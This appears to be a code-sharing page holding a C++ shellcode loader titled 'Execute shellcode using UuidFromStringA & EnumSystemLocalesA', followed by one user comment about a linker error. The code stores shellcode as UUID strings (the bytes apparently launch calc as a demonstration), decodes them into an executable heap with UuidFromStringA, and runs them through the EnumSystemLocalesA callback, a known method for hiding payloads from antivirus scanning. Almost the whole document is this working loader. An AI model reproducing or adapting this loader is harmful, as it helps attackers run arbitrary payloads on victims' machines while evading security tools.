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Execute shellcode using UuidFromStringA & EnumSystemLocalesA
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#include <Windows.h> | |
#include <Rpc.h> | |
#include <iostream> | |
#pragma comment(lib, "Rpcrt4.lib") | |
const char* uuids[] = | |
{ | |
"6850c031-6163-636c-5459-504092741551", | |
"2f728b64-768b-8b0c-760c-ad8b308b7e18", | |
"1aeb50b2-60b2-2948-d465-488b32488b76", | |
"768b4818-4810-48ad-8b30-488b7e300357", | |
"175c8b3c-8b28-1f74-2048-01fe8b541f24", | |
"172cb70f-528d-ad02-813c-0757696e4575", | |
"1f748bef-481c-fe01-8b34-ae4801f799ff", | |
"000000d7-0000-0000-0000-000000000000", | |
}; | |
int main() | |
{ | |
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); | |
void* ha = HeapAlloc(hc, 0, 0x100000); | |
DWORD_PTR hptr = (DWORD_PTR)ha; | |
int elems = sizeof(uuids) / sizeof(uuids[0]); | |
for (int i = 0; i < elems; i++) { | |
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr); | |
if (status != RPC_S_OK) { | |
printf("UuidFromStringA() != S_OK\n"); | |
CloseHandle(ha); | |
return -1; | |
} | |
hptr += 16; | |
} | |
printf("[*] Hexdump: "); | |
for (int i = 0; i < elems*16; i++) { | |
printf("%02X ", ((unsigned char*)ha)[i]); | |
} | |
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0); | |
CloseHandle(ha); | |
return 0; | |
} |
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I have this error when i try to compile this code
undefined reference to `_imp__UuidFromStringA@8